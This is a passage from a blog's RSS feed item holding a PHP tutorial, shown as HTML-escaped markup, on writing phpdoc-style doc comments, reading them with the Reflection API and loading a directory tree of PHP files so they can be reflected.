								         <guid isPermaLink="false">http://www.nileshpawar.com/47/Very-Basic-yet-Very-effective-statement...</guid>
								      </item>								      <item>
								         <title>How to document the code in PHP?</title>
								         <link>http://www.nileshpawar.com/46/How-to-document-the-code-in-PHP?</link>
								         <description>&lt;p&gt;&lt;strong&gt;Reflecting On Your Code&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Everyone knows the value of keeping good documentation, but correspondingly everyone hates publishing new documentation as an application evolves.&lt;br /&gt;
&lt;br /&gt;
Reflection is an OOP concept for accessing a script&amp;rsquo;s extended information; this information is also known as metadata. In other languages like C# there are lots of metadata tools like attributes, XML documentation, manifest files, code regions and the like, however, in PHP there is only one little known trick for including metadata in your application.&lt;br /&gt;
&lt;br /&gt;
This trick relates to the way PHP code is parsed. To understand this trick, you have to first understand the phases of PHP execution under the hood. Explaining this in full is far beyond the scope of this article, however, the basics are as follows.&lt;br /&gt;
&lt;br /&gt;
First, a request is received by the web server and routed to the PHP module. Once the PHP module has received a request, it will find the requested file, and begin the parsing phase. This is all fairly complicated, but to put it simply, the code is run through a part of the Zend Engine called the Zend_Language_Parser.&lt;br /&gt;
&lt;br /&gt;
The result of this phase is a series of objects about every piece of code. They include operational codes, and fortunately for us, one member of this object is the doc_comment.&lt;br /&gt;
&lt;br /&gt;
These objects are then used by php to actually begin compilation, execution and output back to the web server. But all we need know for our purposes is that the doc_comment is not discarded during this parsing operation as one might expect.&lt;br /&gt;
&lt;br /&gt;
So what defines a doc_comment? A doc_comment as PHP defines it is any comment prefixing a class, interface, method or function that begins with a /** and ends with a */.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
Listing 1 listing-1.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * This is a doc_comment.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; class someclass&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // this is not a doc comment because&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // it doesn't start with /** and end&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // with */ and doesn't prefix a class,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // interface, method or function&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
The above comment is now stored in PHP&amp;rsquo;s metadata, however, it&amp;rsquo;s not very useful to us. It isn&amp;rsquo;t parsible, it doesn&amp;rsquo;t contain any kind of useful information and it&amp;rsquo;s certainly not in the valid phpdoc format.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;A Crash Course In PhpDoc&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
For those of you not familiar with phpdoc, it is a method for documenting code that derives from Java&amp;rsquo;s JavaDoc format. Basically, it is a way to format comments so that they are machine readable, meaningful and easy for the programmer to write.&lt;br /&gt;
&lt;br /&gt;
Some people are die-hard phpdoc users, some use derivatives that borrow the best from phpdoc and add some extra formatting. It is always highly controversial when you make changes to an established technology, but for the purposes of reflection, a few changes can be made to make it arguably more useful. Most specifically the addition of tab delimited fields for common attributes, which will be explained later in this article.&lt;br /&gt;
&lt;br /&gt;
I will not discuss the original phpdoc standard here, because it is quite large, so if you are interested in the original way of doing this you should probably visit http://phpdoc.org. Instead, from now on when I refer to phpdoc I am referring purely to the derivative which my studio uses that is in absolutely no way associated with phpdoc.org or the defacto standardized phpdoc.&lt;br /&gt;
&lt;br /&gt;
Our first look at actual phpdoc comments&lt;br /&gt;
&lt;br /&gt;
To begin lets look at the general format of a phpdoc comment.&lt;br /&gt;
&lt;br /&gt;
Listing 2 listing-2.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Classname Additionaltitle&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Summary&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @attribute&amp;nbsp;&amp;nbsp; some&amp;nbsp;&amp;nbsp;&amp;nbsp; something&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; something else&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; class classname&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
The comment begins with the first word of the first line being a mirror of the items name. This is used in the title of the comment, and is added for readability. In my experience, it occasionally happens that code blocks are copied and pasted without regard to the comment; the function is then modified and the comment never updated. By mirroring the name we guarantee that the comment belongs to this function and helps to keep documentation straight from project to project.&lt;br /&gt;
&lt;br /&gt;
The rest of the first line is what you want the entire title to show up as when the information is output. For example, the additional title for a merchant class might be:&lt;br /&gt;
&lt;br /&gt;
Merchant provides credit card processing services.&lt;br /&gt;
&lt;br /&gt;
The next part is always a blank line, as this indicates the end of the title and the beginning of the Summary block. The summary, unlike the title, should describe in brief how the class completes its function. For a Merchant class a several line summary is appropriate:&lt;br /&gt;
&lt;br /&gt;
This class accepts multiple parameters via the constructor, depends on the global configuration manager for merchant account information and uses curl to communicate the credit card information to the processor. There are also various methods for checking the authenticity of the transaction and receiving processor status messages.&lt;br /&gt;
&lt;br /&gt;
Next we have attributes. Attributes are a string that has special meaning to the parser. Attributes are always prefixed with @ and the data they refer to is tab delimited. There can be one or more tabs between each field in an attribute, so you can make all the data align nicely. Spaces will not be recognized as a delimiter only the \t tab character will be.&lt;br /&gt;
&lt;br /&gt;
One such attribute is @var:&lt;br /&gt;
&lt;br /&gt;
Listing 3 listing-3.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Title&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Summary&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @var&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type&amp;nbsp;&amp;nbsp;&amp;nbsp; $varname&amp;nbsp;&amp;nbsp;&amp;nbsp; Description&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @var&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; array&amp;nbsp;&amp;nbsp; $someVar&amp;nbsp;&amp;nbsp;&amp;nbsp; This array contains something&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
This data &amp;mdash; unlike the summary &amp;mdash; must be all on one line and the tab delimiting is important. This is derivative from the official phpdoc standard which only provides the name and a description.&lt;br /&gt;
&lt;br /&gt;
When working with variables that change type the value mixed should be used for the type field. When working with objects, the name of the class should be used for the type field.&lt;br /&gt;
&lt;br /&gt;
Here is a list of attributes that we make use of, some deviating from the official standard. There are many more attributes, so this is just a partial list of the most commonly used ones.&lt;br /&gt;
&lt;br /&gt;
Global attributes&lt;br /&gt;
&lt;br /&gt;
These can be used on all classes, interfaces, methods and functions.&lt;br /&gt;
&lt;br /&gt;
Listing 4 listing-4.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @author&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Firstname Lastname&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @copyright&amp;nbsp;&amp;nbsp; ACME Inc.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @license&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU LGPL&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @see&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Something&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @link&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Description of site&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @remarks&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Something people using the class might want to know.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
Class specific attributes&lt;br /&gt;
&lt;br /&gt;
Listing 5 listing-5.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @var&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $varname&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Description&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @extends&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SomeClass&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @implements&amp;nbsp; SomeInterface, SomeOtherInterface&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
Interface and class attributes&lt;br /&gt;
&lt;br /&gt;
Listing 6 listing-6.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @depends&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SomeClass&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
Method specific attributes&lt;br /&gt;
&lt;br /&gt;
Listing 7 listing-7.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @access&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public|private|protected&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
Function and method attributes&lt;br /&gt;
&lt;br /&gt;
Listing 8 listing-8.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @param&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $variableName&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Description&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @throws&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; someException&amp;nbsp;&amp;nbsp; Description&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @return(s)&amp;nbsp;&amp;nbsp; type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Description&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Extracting Code Comments With The Reflection API&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Now you know how metadata is stored, and how to format it. To access metadata, we need to use the Reflection API.&lt;br /&gt;
&lt;br /&gt;
The Reflection API is a series of classes new to PHP 5 which you provide the name of the item you wish to introspect. The class then has a number of methods and properties containing the relevant information.&lt;br /&gt;
&lt;br /&gt;
You can reflect functions with ReflectionFunction, classes and interfaces with ReflectionClass.&lt;br /&gt;
&lt;br /&gt;
To reflect a class you simply provide the name as a string to the constructor of ReflectionClass. We then have a number of properties and methods available, but the one you care about is the getDocComment() method.&lt;br /&gt;
&lt;br /&gt;
Listing 9 listing-9.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $oClassReflect = new ReflectionClass(&amp;quot;classname&amp;quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $sDocComment = $oClassReflect-&amp;gt;getDocComment();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
You now have the doc comment as a string, but it isn&amp;rsquo;t very useful. To parse the phpdoc style commenting from the comment use a series of string processing functions. Use a few regular expressions to remove the *&amp;lsquo;s and then, normalize the values into an array of lines. Additionally, each line may have multiple successive tabs and these should be treated as a single tab.&lt;br /&gt;
&lt;br /&gt;
Listing 10 listing-10.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $sDocComment = preg_replace(&amp;quot;/(^[\\s]*\\/\\*\\*)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |(^[\\s]\\*\\/)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |(^[\\s]*\\*?\\s)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |(^[\\s]*)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |(^[\\t]*)/ixm&amp;quot;, &amp;quot;&amp;quot;, $sDocComment);&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $sDocComment = str_replace(&amp;quot;\r&amp;quot;, &amp;quot;&amp;quot;, $sDocComment);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $sDocComment = preg_replace(&amp;quot;/([\\t])+/&amp;quot;, &amp;quot;\t&amp;quot;, $sDocComment);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $aDocCommentLines = explode(&amp;quot;\n&amp;quot;, $sDocComment);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
Next you will want to loop through the resulting array and do some basic parsing. String processing is beyond the scope of this article so I will simply point you to our website and you can look at the working parser in the StormAPI package (/model/docgen/).&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Using The Extracted Document Comments&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Now you should have been able to parse out the data from the comments and store it in an object. You can then do pretty much anything you want with that data. I personally like to output this data to an XML file and use an XSL stylesheet to interpret the data.&lt;br /&gt;
&lt;br /&gt;
The next hurdle you will need to cover is the ability to load all the files for a site into memory, but without executing any of their code.&lt;br /&gt;
&lt;br /&gt;
Fortunately there are several tools that allow you to do just this.&lt;br /&gt;
&lt;br /&gt;
There are 3 main components to this process. These are:&lt;br /&gt;
&lt;br /&gt;
Finding all the files in the site using SPL&amp;rsquo;s recursiveDirectoryIterator.&lt;br /&gt;
Loading those files without running their contents and without causing scope resolution issues.&lt;br /&gt;
Pragmatically determining all the classes, interfaces and functions that have been defined.&lt;br /&gt;
First, the Standard PHP Library (SPL) provides a useful class for traversing directories and files pragmatically, recursiveDirectoryIterator. This class is actually far easier to use than the old directory functions.&lt;br /&gt;
&lt;br /&gt;
Second, to load the files located by the recursiveDirectoryIterator, we use a side effect of the function php_check_syntax(). That is, once it is run, the functions, classes and interfaces defined in those files remain in memory and can be reflected. This is, however, much different than include, because no code will be executed.&lt;br /&gt;
&lt;br /&gt;
Listing 11 listing-11.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * includeTree&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Invocation method for recursive directory load.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @param&amp;nbsp;&amp;nbsp; string&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $sDirectory&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A path to include, all subdirs will be scanned.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @access&amp;nbsp; private&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; private function includeTree($sDirectory)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;recurseTree(new recursiveDirectoryIterator($sDirectory));&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * recurseTree&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Recursive function that uses a spl recursiveDirectoryIterator&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * to scan directories for files to include.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @param&amp;nbsp;&amp;nbsp; iterator&amp;nbsp;&amp;nbsp;&amp;nbsp; $oIterator&amp;nbsp; A path to include, all subdirs will be scanned.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @access&amp;nbsp; private&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; private function recurseTree($oIterator)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $allowedTypes = array('php', 'inc');&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while ($oIterator-&amp;gt;valid()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($oIterator-&amp;gt;isDir() &amp;amp;&amp;amp; !$oIterator-&amp;gt;isDot()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($oIterator-&amp;gt;hasChildren()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;recurseTree($oIterator-&amp;gt;getChildren());&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else if ($oIterator-&amp;gt;isFile()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $path = $oIterator-&amp;gt;getPath() . '/' . $oIterator-&amp;gt;getFilename()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $pathinfo = pathinfo($path);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (in_array(strtolower($pathinfo['extension']), $allowedTypes)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; php_check_syntax_external($path);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $oIterator-&amp;gt;next();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
The above two methods are designed to exist within a class, however, php_check_syntax() needs to be called from outside class scope to function as expected. So we need to create a function in the global scope called php_check_syntax_external() so that class scope is not inherited.&lt;br /&gt;
&lt;br /&gt;
Listing 12 listing-12.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /**&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * PHP Check Syntax External&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Marshalls php_check_syntax() for the global scope and discards the result&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @param&amp;nbsp;&amp;nbsp; string&amp;nbsp; $sFile&amp;nbsp; The filename to pass along.&lt;br /&gt;
